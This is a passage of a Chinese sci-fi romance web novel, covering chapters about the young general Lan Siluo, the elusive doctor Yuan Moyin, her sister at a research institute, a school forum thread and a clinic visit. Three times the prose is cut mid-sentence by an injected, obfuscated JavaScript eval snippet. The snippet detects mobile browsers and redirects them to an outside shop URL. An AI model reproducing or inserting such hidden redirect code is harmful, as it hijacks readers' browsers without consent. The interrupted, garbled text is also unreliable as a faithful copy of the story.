二十二岁的兰司珞眼神明亮,他小心翼翼地捧起眼前的一支药剂,旋转着观察注射器上从未见过的花朵图案。 清清冷冷的声音在耳边响起,轻易压制住了他心里的澎湃的思绪:“特效治愈剂LSL001,预计效果为强效治愈剂的69.23%-78.59%,生效时间为158.71%-193.33%。” 自从成年后,兰司珞每年都需要重新选择是否签署强效治愈剂同意书。他看了看光脑里亟待确认的文件,又看了看手上的注射器,还是忍不住问道:“特效治愈剂是……什么?” 元墨洇将光屏转向兰司珞,手在一串看不见底的研究项目上划动着,直到停在“特效治愈剂研发及批量应用”上:“简而言之,是强效治愈剂的无副作用版,缺点是必须量身定制。” “量身定制……的意思是,你愿意让我当你的小白鼠了吗?” 兰司珞立刻删掉了光脑里的强效治愈剂使用同意书,恨不得当场受个重伤,来感受一下元墨洇给的治疗药剂的效果。 元墨洇没理会这只突然兴奋的小金鼠,伸手从他手里拿走了那支药剂。 兰司珞目光追逐着那双手,蓝宝石般的双眼熠熠生辉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242874|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他眼巴巴紧盯元墨洇的手指,没有错过她捏紧针管后的些微凹陷:“只有一支吗?” 不等元墨洇开口,他唇角高高扬起,一头灿烂的金发随着他甩头的动作张扬地四散开来:“我知道了!你是觉得以我的能力,基本不可能遇到要用到这个的情况!” 他向日葵似的绕着元墨洇转了两圈,最后蹲在元墨洇身边:“或者说,你的意思是,我用完一支还能来再要一支?” 那受伤就会成为他众多幸福的烦恼之一。 元墨洇的目光从那双明亮的眼睛上移开,转头拿出一个黑色金属箱,打开后将手上那支药剂放入了其中的空格。 “十二支。” 兰司珞立即在脑海里将“元墨洇心中的我好厉害”划掉,改为“十二支!她给我做了十二支!” 这个想法如同火焰小人在他脑海中到处乱跑,跑得整张脸都烧起火来。 元墨洇就看到兰司珞呆楞在自己面前,随着表情越来越开心,脸也越来越红,从一只金色的桔子被烧成红色的番茄。 好像戳一戳就会舒展开来,露出其间香甜的果肉。 元墨洇一根手指戳在兰司珞的眉心,正巧点中了那颗美人痣。 兰司珞鬼使神差地握住了那根手指,又倏地放开。等到他后悔自己的胆小的时候,那根手指已经被主人吝啬地收了回去,徒留他的目光暗自徘徊不去。 再后来发生了什么兰司珞不太记得了。 他好像很激动,又好像很害羞,想凑上前去,又想跑到操场冷静一下,甚至怀疑自己是做梦。 他似乎还在原地张牙舞爪了一会儿,最终他终于发现自己现在傻透了,转身向教室外面快步走去。 “药剂不要了。” 等到兰司珞踩着不存在的云朵飘飘忽忽走到教室门口,元墨洇才开口。 一只完全熟透了的番茄期期艾艾地挪过来,将金属箱抱在怀里,傻笑着对元墨洇说:“我拿走了。” 元墨洇微微点头。 唯一留在兰司珞记忆里的,便只剩下那双冷静的银色眼眸,他看到自己的面容在其中如火焰一般燃烧着。 只有那么冷的一双眼睛,才能任何时候,都装下他所有炽热的情感。 那个时候,兰司珞坚信自己将来会得到更多。 但是后来陪伴他的只有那一箱,十二支药剂被一支支用掉,空注射器被他一支支清洗干净,珍藏在黑色的金属箱中,存放在家里安全的角落,保养得纤尘不染。 注射器上的花朵图案被反复摩挲观看,深深刻进心底。 兰司珞将金属箱里的注射器挨个取出。 “一、二、三……十二。”他依次将它们放回原位,拿起被他放在金属箱旁那支刚被使用过的还未清洁的空注射器。 兰司珞看向自己的手指,因为用力捏紧注射器而有了微微的凹陷。 他不费吹灰之力就能完美复刻出另一只手的手指曾经捏在其上的凹陷的弧度。 兰司珞甚至能回忆起那根手指的触感,那样一个冷冷淡淡的少女,有着一根同样冰凉的、柔软中带有一点薄茧的手指。 如同剧烈运动回到家中猛灌在口里的冰冻饮料,眉心的美人痣已降下温度,心口的热意却不受控制地溢出,流入四肢百骸。 “十三。” 那只手指拨动了命运的指针,使它前进了一格。 7. 蹲守 兰司珞与黑色金属箱抱在一起傻笑的画面被光脑的消息提醒打断。 何晞:[忘了说了,今天14:00来研究所开会。] 发送时间13:50。 兰司珞依依不舍地放下手里的金属箱。 何晞:[唐将军亲自主持这场会议,你必须到场。] 兰司珞删掉对话框里刚写好的“我就不去了,你帮我”几个大字。 他改为在换衣服的缝隙里发送语音,以便让何晞能感知到他不满的语气:“我知道了。” 发完之后,兰司珞见缝插针地重新打开了实习生的资料。元墨枢的名字后面跟着她的实习机构,正是汤燧星研究所。 他加快了速度。 研究所就在汤燧星综合医院隔壁,是一栋非常普通的白色大楼,兰司珞站在门口,看着面前“研究所”三个字。 抬头望去,五层楼清晰可见。 刚进门就是研究所的全息投影,兰司珞随手点开一层,食堂两字映入眼底。 从下往上依次是食堂、实验材料储藏室、实验室、研究成品储藏室、办公室和会议室。 兰司珞记下布局,从食堂边经过,听到里面传来耳熟的声音。 元墨枢打了个信息差,今天才来研究所报道。打着照看兰司珞的名号,倒也没人多问什么。 众所周知,实习的第一天主要学习如何在新员工守则中消磨时光,元墨枢装作认真地看了一上午,画了满屏意义不明的圈圈和波浪线。 因为等冯钊,她现在才吃上饭。 食堂人少,也就坐了寥寥几桌。元墨枢挑挑拣拣,选了六目翡西肉和布拉克利菜,正坐在位置上挑翡西的刺。 不巧相隔不远处,有人也在挑她的刺。 “……我看就是去糊弄人的。我打听过了,她虽然姓元,但是成绩也就A-B之间,也不知道怎么考上帝高的。她能叫来什么厉害的大佬,也就唬一下你们这些没见识的人罢了。说不定是打着家族旗号蹭经验的,最后还是医院的专业医师把兰少将治好的。” 元墨枢循声看去,正中央坐了四人,其中一人正唾沫横飞地在背后说自己坏话。 冯钊在她耳边轻声说:“李卓,之前在战舰上就想挑衅你那个。” 元墨枢茫然:“有这么回事吗?” 冯钊用一大块八爪汉斯特肉神神秘秘地挡住自己的侧脸:“我查过,他成绩在我们来汤燧星这一批人中排名第一,但是精神力太低只有D,所以在战舰上因为精神力不稳丢了面子,这两天天天抓着人吹牛找补。” 元墨枢顺口咬了一块冯钊举着的肉:“关我什么事啊?这里的汉斯特肉好好吃,几爪的?我要买点回家烫火锅。” 冯钊放下缺了一口的汉斯特肉,从元墨枢碗里夹起翡西肉的骨架,继续挡在脸旁:“八爪,听说就是在这里的青园星域第四农场最新培育的。你出了大风头,他又查了你的成绩,不服气呗。” 元墨枢恨恨地戳了两下米饭,又叹了口气,不再说话,继续吃起来。 饭碗都见底了,那边说话的人还不消停。 李卓也是厉害,吃了多久就讲了多久的话:“要我说,还不如让我去当助手,来这里的实习生中谁成绩能有我好?唉,人还是得有个好姓氏,随便叫来一个亲戚糊弄下就能蹭到……” 话音未落,一根筷子插在了李卓面前。 冯钊手还停在半空中,元墨枢已如旋风般刮到李卓面前,一脸微笑地当着他的面拔出了自己的筷子。 趁着李卓四人目光呆滞的间隙,她揪起李卓后脑勺的头发,一只脚蹬在他的椅子上,气势汹汹地说:“认识一下,我刚好就姓元,治病的是我姐姐,敢问你说的人是谁?” 整个食堂骤然噤若寒蝉。 对于学医的人来说,“元”是一个无法触碰又有致命吸引力的姓氏。 因为那是星族联盟的科技中心普罗米修斯星域的第一家族,拥有最强的医疗实力的元家的姓氏。 同情的目光像探照灯一样在敢说元家人坏话的李卓身上逡巡。 李卓紧咬嘴唇,手指用力抠紧身下的座椅才止住抖动,却说不出来一句话。 他不敢说话。 兰司珞在窗外看着,眼睛一亮:“这身法真不错,当医师可惜了呀。” 不知何时来到他身边的何晞:“……” 他心里翻了个白眼,人家一个姓元的,又有那样一条钻石大腿可以抱,好端端为什么想不开要去开机甲。 眼看着兰司珞还想往食堂里走,何晞伸手拦住了他:“会议时间到了。” 兰司珞推开他的胳膊,长腿继续迈向食堂。 何晞皱眉抓住他的手腕,却被他顺手一拧一放,整个人退开一米远,被身后一双手扶住。 何晞尴尬地用力站稳,在衣袖的遮挡下转动手腕关节,脸上还努力维持着标准的笑容。 “方女士,麻烦你再稍等片刻,我这就把兰司珞拦下来。” 扶着何晞的方女士眼里明明白白写着不信,还是退开一步,做了一个“请”的手势。 何晞不动声色地扫了一眼威风凛凛的元墨枢,伸手抵住食堂的门,手掌刚好挡住兰司珞看向元墨枢的视线。 他低声说:“兰司珞,研究所的负责人在这里,你有什么事等开完会再说。” 兰司珞听到“负责人”三个字终于停了下来,目光越过何晞落到方女士身上。 方女士大方伸出手:“兰少将,久仰,我是方清,是研究所在汤燧星的分部的负责人。” 兰司珞与她握住手:“你好,我是兰司珞,是新到任的驻军军官。” 方清像是刚才什么都没看到一样:“既然你到了,那就随我来会议室吧,会议马上开始。” 兰司珞遗憾地看了一眼食堂,恰逢冯钊对元墨枢说了什么,元墨枢也看了过来。 两人目光相接,元墨枢对他笑着挥了挥手,他也笑着挥手。 兰司珞走后,元墨枢一脸哀怨地倒在冯钊身上:“你是说,我偶像全程都看到了。” 冯钊拍拍她的背:“他一定觉得你那几招特别帅。” 元墨枢生无可恋:“那几招就是看他的录像带学的,早知道我该用我自创的那招特别酷的……” 会议室内是一张长条的会议桌,主座没有坐人,末尾投影了一块光屏,视频对面的人还没到。 兰司珞在主座的右边坐下,正对着方清。两人下首的人早已到齐。 方清微笑着站起身:“兰少将,我给你介绍一下。旁边这位是来自青园星域第四农场的负责人陆信,其他几位是我们研究所的各个技术小组组长。” 兰司珞也站起来:“各位好,我是兰司珞。这位是我的副官何晞,这位是我舰队的技术负责人梁升,其他几位是我手下的军官。” 会议桌尾部的屏幕上,唐曼将军终于匆匆赶来。 唐曼将军穿着一身军装,但是领口和袖口都敞开着,上衣衣摆也一半塞在裤子里,一半散在裤子外。 她一手插兜,另一只手冲众人打招呼:“兰司珞,你伤这就好啦?方清,好久不见,一会会议结束后你再给我运几个反隐装置来。你是何家老三还是老四?跟你爸一点儿都不像……” “咳。”视频里传来一声咳嗽。 唐曼将军立刻严肃起来。 “那我们就进入正题吧。这次会议的主要目的是规划汤燧星的后续任务方案,以及同步整个【瑟尔瓦克】任务进度。” 会议足足持续了一个下午,结束后,方清主动邀请兰司珞一同去食堂吃饭。 兰司珞趁机说想参观一下研究所,方清也答应了。她带着兰司珞在每层楼都看了一下,挨个介绍了各房间的用途。 兰司珞大为震撼:“没想到只是汤燧星的研究所分部,武器库的储备就如此精良。” 何晞立刻明白刚才的会议兰司珞也是一如既往地神游天外,只好自己堆起礼貌性的笑容找补:“大隐隐于市啊。” 方清露出一瞬欲言又止的神情,客气地应付了两句。 三人一直走到食堂门口,兰司珞都没再见到元墨枢。 兰司珞离开研究所后,方清就回去了,何晞也走了。 他蹲守在研究所门口,看到陆陆续续有研究员往外走。可是直到研究院最后一盏灯熄灭,他都没有等到元墨枢。 兰司珞急得抓耳挠腮。 他拿出光脑,找到那份实习生资料,里面只有一句“食宿抵达之后由领队进行安排”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242875|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他又开始查找领队相关资料,只找到类似“领队由学院进行指定”的废话。 最终翻遍了资料的兰司珞一无所获,决定采取最后一个办法,发信息问问何晞。 何晞秒回了他一个元墨枢的通讯账号,顺带告诫他不要有非分之想,元家不会为他付出任何资源,帝都星域的家族才是最适合他的。 兰司珞吹着研究所门口的冷风,半晌无语。 他想起自己见到何晞的第一天,对方自我介绍的时候用鼻孔对着自己:“我叫何晞,是帝都星域何家的人。你可能没听过,但是没关系,你总会知道你的情报网与我的比起来,不值一提。” 兰司珞现在算是知道了。 申请加好友的信息发送之后暂时还没通过,兰司珞站起身,活动了一下双腿,踏上回医院的路。 夜风一阵阵吹过道路两旁的参天树木,发出“沙沙”声响。兰司珞忍不住跳起,从树上掰下一根枝条,又拔了几片叶子,在枝条顶端扎成一朵绿色的花。 他对着月亮举起这枝花,月光透过枝叶的缝隙轻抚他脸上的笑意作为回应。 回到病房之后,兰司珞终于收到了验证通过的消息。 聊天框里,元墨枢三个字就像指引海上船员的灯塔一样闪耀。 不是因为这个名字带给兰司珞的激动心情,他早已在回来的路上就做好了心理准备。而是因为元墨枢跟何晞一样是高级VIP用户,她的名字会闪烁出七彩光芒,并且在她打字的时候随着她的指尖跃动。 只见这个名字上一阵快速的炫光闪过。 元墨枢:[兰少将!我崇拜你好久了!帝都星的每一次公开军事演习我都有看!你能不能给我的每一期的限量款至臻典藏版豪华装录像礼盒都签个名啊!!!!!] 兰司珞:[当然可以,你很有眼光!] 兰司珞对于眼前的情况早就游刃有余,事实上,身为星族联盟最年轻的少将,他算得上是年轻一代所有机甲爱好者的偶像。 元墨枢:[那我明天打包带来看你,顺便给你做一个出院检测。说真的我其实根本弄明白你那个医疗情况,不过以你的身体素质好起来肯定没问题哒~] 兰司珞犹豫起来,他斟酌着给对面的人打字。 兰司珞:[这些都没问题。不过你要是也拿不准的话,能不能请治好我的那位医师来看一下?] 房间突然变得很安静,兰司珞听到了自己血液在快速流动的声音,听到窗外的风将一小截树枝拍打在房间窗户的左下角,听到洗手间有一滴水轻轻落在进门后的第三块瓷砖上,听到心脏撞上自己的嗓眼又摔在胸口的低鸣。 过了很久,也有可能只是两秒,元墨枢回答了他。 元墨枢:[啊,她来不了。] 兰司珞听到“扑通扑通”的心跳声骤然一停,心口的涟漪扩散成一阵熟悉的绞痛,让他忍不住蜷缩起手指。 元墨枢:[但你可以去找她嘛,我给你发地址。] 元墨枢:[位置信息] “扑通——” 心脏开始比之前更加疯狂地跳动,血液流过指尖带起一阵酥麻。 兰司珞:[那我能] 兰司珞:[能问一下她的名字吗?] 元墨枢:[我姐姐的名字在星网上会被保密程序自动屏蔽,我只能告诉你我们这一代是“墨”字辈,剩下那个字你自己猜吧。] 元墨枢:[你千万记得保密哦,我姐姐的一切资料是经过特殊加密的,泄密会被抓去衡镜司星域接受审判。] 过了好一会兰司珞才回复元墨枢。 兰司珞:[嗯,谢谢,我会的。] 事实上,兰司珞本人并没有他聊天框里面那么平静。 他早就迫不及待点开那个位置信息,将标注的地点在心头滚动过几百次,才稍稍平复心情给元墨枢道谢。 道谢完立马关闭聊天框,开始继续对着地图发呆。 地图上,汤燧星的居民区,一颗红点正落在一处房产上。 详情点开,房产的标题上还有兰司珞之前做的标记。 兰司珞给自己扎了一针治愈剂,昏昏沉沉地倒在病床上。 他模模糊糊地想,等见面的时候,要怎么打招呼呢? 8. 深夜·论坛·情感帖 关于如何与元墨洇成功搭上话这个问题,兰司珞经验十分充足。 帝都星中级学院的论坛每到夜里在线人数都会格外多。 与白日里上课时的昏昏入睡相反的是,学生的夜里总有花不完的精力阻挠他们入睡。 因此就算是一个看了标题就能猜到内容的帖子,也能获得与之不匹配的热度。 今夜便有一个非常常见的匿名情感帖。 【如何与心仪的同学搭讪?】 楼主:我特别喜欢身边的一位同学,但是她几乎不跟任何人说话,有没有什么办法能自然地跟她搭上话QwQ? 最好是长期话题,能一直聊下去那种。 1楼:发错时间了吧?有成功经验的谁晚上有空逛论坛,都忙着谈恋爱呢QwQ。 楼主回复1楼:对哦QwQ。 2楼:请问她有什么兴趣爱好呢?自从元九针发现情感因子以来,便有一种心理学理论称,情感因子控制精神力,精神力控制思想。因此人类会对自己喜爱的事物产生更强烈的思想共振,从而演化为新的感情。楼主可以从这方面入手进行思想交流实验。 楼主回复2楼:我已经买了她写的书,但是一个字都看不懂QwQ。 2楼回复楼主:是文学系的女生吗?这一类女生通常表现为心思细腻、聪慧敏锐,并且往往会构建一个庞大的、抗拒性强的精神世界,相比于其他类型来说确实更加难以讨好。根据近几年的恋爱心理学研究,接近文学系女生需要学会充实自己的精神世界,一点点与对方产生灵魂共鸣,最低共鸣成功标准是重合度31.89%。 楼主回复2楼:不是文学,全是医学的QwQ。 2楼回复楼主:抱歉,我的研究项目还没进展到医学系的女生,无法给你提供帮助。方便问一下她的成绩吗?或许可以尝试从她擅长的科目入手进行分析。 楼主回复2楼:她特别厉害,所有科目都是S,应该都很擅长吧OvO。 2楼回复楼主:等等,你这个已知条件?联系上下文,我好像知道是谁了。你千万不要按照我说的去做,我的研究理论来源之一就是她,这与班门弄斧有什么区别。 楼主回复2楼:那你能给我讲讲她的研究吗?我看不懂QwQ。 2楼回复楼主:她最主要的研究就是《精神力锚点学说》,你可以理解为这是一种掌控精神力的办法,通过强情感链接构建锚点来收束存储精神力,情感链接越强,掌控力度就越大。 楼主回复2楼:虽然我还是没看懂,但还是谢谢QwQ。 3楼:如果她体质在B级以上的话,你就假装摔倒撞在她怀里,记得要凹一个好看的角度,眼里含着半颗泪水柔弱无助地看她。偶像剧都这么演,只要长得够好看,很快就能成了。B级以下不要尝试,会因为故意伤害而被学院的监察小组抓起来,我有一个朋友刚被放出来…… 楼主回复3楼:她体质是S,但是我看好多人试过这招了,还没人成功过QwQ。 3楼回复楼主:那换一种思路,她的精神力B级以下的话,可以试试在阳光下偷偷精神攻击,在她出现一点点眩晕感的时候伸手给她扶住。被抓了别把我供出来,谢谢! 楼主回复3楼:这个也没办法,她精神力是SS。 3楼回复楼主:啊??你坑我啊!!! (本楼已被3楼删除) 4楼:专业代写情书、代聊天、代表白,价格+通讯号*********详聊,不成功全额退款。还有其他业务,均可戳我询问详情。 (本楼已被网管删除) *帝都星中级学院网管AI提醒您,人心隔光屏,聊天需机警。* 5楼:楼主加油,再怎么不爱说话的女生,还能有那位大人难搞定吗? 5楼回复5楼:不是,就是那位大人啊? 楼主回复5楼:对啊QwQ。 5楼回复楼主:别问了,全学院都只有失败的经验,有人能成功的话还轮得到你在这里问。 6楼:刚进来就被解码女主是谁,楼主放弃吧,顺便趁帖子还没被删,合个影。 楼主回复6楼:合影。 6楼回复6楼:帖子没删,给我相册里合影截图删了,有毒吧!!@帝都星中级学院网管,学院网网管AI出bug了? 7楼:高岭之花不可攀折,你们之间注定是云泥之别。苦海无边,回头是岸。 楼主回复7楼:要是我不想回头呢? 7楼回复楼主:地上的蚂蚁再怎么跳跃,月亮和它始终隔着一个星球的距离。 楼主回复7楼:我懂了,你是说我们所有人都离她很遥远。如果大家和她之间的差距都差不多的话,她为什么不可以选我? 7楼回复楼主:楼主的逻辑细品竟然有几分道理,我突然觉得被你说服了。上面的回复过于悲观,那我就祝你得偿所愿吧。 楼主回复7楼:谢谢。 8楼:其实我也想知道怎么跟那位搭上话QwQ。 (本楼已被楼主删除) 9楼:我有个偏方,你去毛遂自荐当她的实验志愿者试试,我觉得她会拒绝追求者,但不一定会拒绝小白鼠。 (本楼已被楼主加精) 楼主回复9楼:好主意! 9楼回复楼主:你真去啊?我说着玩的,这是犯法的。网管大人在上,我说的每一句话都是开玩笑,绝对不是有意诋毁那位大人QwQ。 楼主回复9楼:我觉得今晚所有建议里,你这个最棒! 9楼回复楼主:求求你别回我了。 (本楼已被9楼删除) (本楼已被楼主复原) (本楼已被9楼删除) (本楼已被楼主复原) 9楼回复楼主:你放过我吧…… 楼主回复9楼:我该好好谢谢你才是! (本楼已被9楼删除) (本楼已被楼主复原) 9楼回复楼主:我放弃了,不用谢。希望你被抓的时候别把我供出来,感恩戴德。 10楼:楼主别删我呀,我不是你的情敌,我只是想进那位大人的研究所而已QwQ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242876|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楼主回复10楼:这样啊,那等我成功了我帮你问问。 10楼回复楼主:你一定要成功啊! 楼主回复10楼:一定会的OvO …… 17楼:楼主成功了吗?还活着吗? 楼主回复17楼:我好想死……QwQ 17楼回复楼主:啊?高岭之花手段这么残忍吗?不对,这是可以在学院论坛上说的吗? 楼主回复17楼:不许你说她坏话! 17楼回复楼主:?O.O? 兰司珞第二天上课,脑子里全是昨晚发的帖子,知识从他大脑里丝滑地进进出出,了无痕迹。 恰好元墨洇难得地走入了教室。 兰司珞无意识随着众人抬头,就看到元墨洇朝着自己的方向走来。 他突然心虚,连忙用手指捂住眼睛,脑海里却有个声音在怂恿他:“小白鼠”,“小白鼠”…… 白色的衣角从桌前经过,兰司珞霍然站起,全班都看向他,就连元墨洇也投来一瞥。 他装作上厕所,匆匆逃了出去。 兰司珞一整天都不自觉地频频看向元墨洇。 他看到元墨洇的头发从耳畔滑下一缕,刚好勾在下巴尖上,又被元墨洇极快地捋回耳后。 他用十根手指来回比划元墨洇的睫毛的长度,脑海中思索着要如何开口询问当小白鼠的事。 所有课程都结束之后,兰司珞还傻看着元墨洇没动,元墨洇也一直坐在座位上,对着光脑处理事务。 终于,兰司珞鼓起勇气,走到她面前。 “所以你后来跟她讲了什么?”赫帆假期与兰司珞相聚,无意间在他的光脑上看到这个帖子。 因为标题普通,又涉及元墨洇,这个帖子浏览量并不高,回复也只有十七条。大部分回复都在劝兰司珞放弃,只有9楼给了一个自己都不相信的离谱方法。 赫帆觉得以他对兰司珞的了解,这个方法可能真用上了。 果不其然,兰司珞一脸理所当然:“当然是自荐给她当小白鼠啊!” 赫帆一双眼睛上下打量兰司珞,捏了捏他的胳膊确保他还是血肉之躯:“那她有对你做什么吗?” 兰司珞却深深叹了一口气,身体往后靠在椅背上,手指插进头发里:“她说这个违法了。” 赫帆无语:“你不要语气这么遗憾好不好。” 复而又看着兰司珞挫败的模样,好奇的问:“这就失败了吗?高岭之花果然不可攀折。” 兰司珞眼里的光都暗淡了:“没有结束,我成功了。” 赫帆安慰的话都走到了舌尖,滚了一圈又被他硬生生咽下去,艰难开口:“……你成功了?那你摆出这副模样!” 兰司珞生无可恋,在地上“嗷嗷”打滚:“你不懂。” 他这副模样勾起了赫帆的好奇心,但是不管赫帆后来如何逼问,兰司珞都死活不肯告诉他到底发生了什么。 奇怪的是,这个帖子一直都没有被删除,直到十年前与元墨洇一同消失在兰司珞的世界里。 9. 对不起,您没有预约 第二针治愈剂里添加的安眠药剂剂量太低,兰司珞睡着睡着,梦见自己蓬头垢面闯到元墨洇面前。 他惊恐地睁开眼,想起自己刚到汤燧星,就在病房里住了两天,已经很久没有保养过了。 大半夜,医院顶层高级病房的灯悄悄亮了。兰司珞从个人空间里将自己的行李下载下来,狗狗祟祟地掏出一系列瓶瓶罐罐…… 第二天清晨何晞来到病房,就看到一个光彩照人的美男子斜倚在床边,金发被烫出微微的卷度,在脸颊边勾勒出完美的弧线。一半沐浴在破窗而入的日光中,光芒灼灼。另一半隐没在床内的阴影处,星芒点点。 他一双蓝色的眼眸看过来,何晞只觉得好似在湖边散步偶遇了孔雀开屏:“你疯了,打扮成这样,是要跟哪个家族视频通讯商量联姻的事吗?” 兰司珞只听到了他夸自己好看,手指轻拂额前的碎发:“我现在看起来怎么样?” 何晞终究还是被兰司珞带歪了,他居然认真欣赏了一下:“我妹妹估计会喜欢你这一款,不过我表妹更喜欢简单一点的。” 兰司珞挑剔起来:“那你表妹没有你妹妹有眼光。” 何晞:“……” 兰司珞被拦截住,不得不拿出光脑,装模作样开始处理早上的事务。 将重要的事务都推给何晞,将不重要的事务都推给明天。 光速处理完后,他告诉何晞自己今天有其他事要做,不要打扰自己。 何晞的表情像是要咬死兰司珞又生生忍住了。 兰司珞顶着何晞幽怨的目光毫不愧疚地出门了。 医院与居民区分属汤燧星的两面,兰司珞先去了一趟军团驻地,把自己的车开了出来,很快便来到了目的地。 导航的终点在居民区的中央,是一个占地颇广的庭院,与购房网站给的展示图有很大区别,显然被主人改造过。 兰司珞停下车,绕着房子转了一圈。原本的花园被高高的院墙围了起来,只能依稀看到几支奇形怪状的花探出头来。 他失望至极,毕竟当初他看上这套房子,就是因为里面不仅有全屋供应的温泉活水,还有一个特别大的花园。 汤燧星居民本就不多,因此不像那些热门星球似的一栋楼修到几百层。 他走到三层高的房子门口,只见大门紧闭,门上有个屏幕,写着“青囊诊所”。 兰司珞走上前去正准备敲门。 门:[验证失败,请出示预约码。] 兰司珞尝试跟门搭话:“预约码是什么?” 门:[检测到没有预约码,请离开。] 兰司珞着急地用双手抠住门:“我现在预约可以吗?” 门:[检测到敌人攻击,已通知主人。] 兰司珞听到这话连忙把手放开,试图重新跟门狡辩,门却从里面开了。 一位披着件与研究所制服颇为相似的外套的红发女士气势汹汹地跨出门来,左手拎着一个缺胳膊少腿的机器人,右手拿着维修工具。 她看也不看兰司珞,声音中气十足:“哪位爷爷奶奶记错时间了?今天不营业。”说完就转身离开。 门没关上,兰司珞的手掌牢牢把门抓在手里。 沈钧这才发现面前站着的不是熟悉的爷爷奶奶,而是一位打扮得花枝招展的金发青年。 她麻利地将手上的机器人和工具放进门里,嘴角勾起一抹标准的笑意:“你好,我是沈钧,请问找哪位?” 兰司珞放开手,表情诚恳:“我是来复诊的。” 沈钧摆摆手:“今天才星期一,我看看你的预约码约的什么时候。” 兰司珞摇头:“我没有预约码。” 沈钧一脸莫名其妙:“没有预约码怎么复诊?” 兰司珞神色坦然,理直气壮道:“不知道,我是来找元医师的。” “元医师不……”沈钧皱眉说着,突然听到光脑响起消息提示音,她打开看了一眼,改口道,“你好,不管是初诊还是复诊,请先用光脑扫码进行预约。我们诊所只有每周三和周六可以看诊,每天名额两个,请提早预约,谢谢。” 兰司珞还想多说什么,耳畔传来一声“喵!” 一道黑影从两人中间窜过,踏着窄窄的院墙飞檐走壁消失在视线里。 “哟,我的猫!”身后响起一位老奶奶的声音。 沈钧上前一步,挽住老奶奶,给她检查手上的伤痕:“张奶奶,怎么回事?” 张奶奶叹气:“我今天想给黑咪洗个澡,刚把它塞进清洁箱,它就挠了我一爪子,离家出走了。” 沈钧给张奶奶手上贴好伤口贴,安慰道:“你先在这里休息一会儿,我去给你抓回来。” 张奶奶看着她的背后没说话。 她回头,兰司珞拽着一只头上长着独角的黑色长毛猫递过来:“喏。” 沈钧:“!” 沈钧认真地眯眼打量兰司珞,着重看了两眼他的整体身材和手臂腿脚上的肌肉,眼里充满评估。 兰司珞毫无所觉,把黑咪硬是塞到张奶奶怀里。 黑咪见兰司珞收回手,“嗖”地一蹬,朝面前的院墙上跳去。 然后它发现自己没能登上院墙,又回到了兰司珞手里。 兰司珞重新把它塞进张奶奶怀里,手掌捏住它的独角摇了摇:“怎么这么不听话?” 张奶奶看着黑咪委屈的眼神,摸了摸它的脊背:“好啦黑咪,我们今天不洗澡了。” 黑咪这才放弃挣扎。 张奶奶把乖巧下来的黑咪圈在怀里,看了看自己的手背:“谢谢沈医师和这位小伙子帮忙,沈医师今天这么早出门啊?” 沈钧点头没说话,兰司珞在一旁开心地回答:“奶奶别客气,我叫兰司珞。” 张奶奶笑眯眯地说:“好名字,长得也俊。你是第一次来吗?” 兰司珞乖乖点头:“嗯嗯,我第一次来,沈医师正在给我解释预约码呢。” 张奶奶完全抵挡不住乖巧漂亮的青年的魅力,热情地给兰司珞介绍:“她们这个诊所一周只开两天,每天上午能约一个,下午也能约一个。来来来,你用光脑扫描一下这里,对对对,从这里点进去,先注册一个账号,这里选‘是’就行。诶,这就好啦,然后点这里就能预约了。哟,你运气还不错,后天下午竟然还空着。好了,这个码出现就表示预约上了。” 兰司珞如获至宝地看着光脑上弹出来的预约码:“这样就行了,谢谢奶奶。” “上面会显示预约的医师,你是沈医师还是乔医师?”张奶奶颇有成就感地看了一眼他的预约码,忽然愣住,“元医师?” 沈钧听到此言,亦是眼神古怪地看向兰司珞。 兰司珞用疑惑的目光重新确认了预约界面:“对呀,元医师。” 张奶奶慈爱又沉重地叹息了一声,半晌才说:“没想到你年纪轻轻……还好这里有元医师,好孩子,千万别放弃希望。” 兰司珞没听懂,看了看张奶奶,又和黑咪对视,黑咪“喵”的一声就扭过头去,用独角尖尖对着他。 沈钧轻咳一声:“元医师只治绝症,或者是我们解决不了的病症。” 刚被患上绝症的兰司珞:“……” 他无奈一笑:“奶奶你误会了,我是来复诊的。之前不小心受了伤,是元医师把我治好的。” 沈钧一惊:“你是兰……啊!”她重新仔细打量了一番兰司珞的脸,目光让兰司珞心底毛毛的。 兰司珞掂量了一下,还是觉得张奶奶好说话一点,沈钧几次目光变换,看向他的眼神越来越奇怪。 他笑起来本就真诚又阳光,从小就招人喜欢。此时笑着问张奶奶:“您见过元医师啊?她……还好吗?” 张奶奶对着这个笑容就心软:“见过一次,我的病比较特殊,医院误诊之后,还误导了沈医师,多亏了元医师帮我看了一眼。” 沈钧惭愧:“是我学艺不精,差点耽误了奶奶的病。” 张奶奶把黑咪扛在肩上,腾出一只手连连摆手。 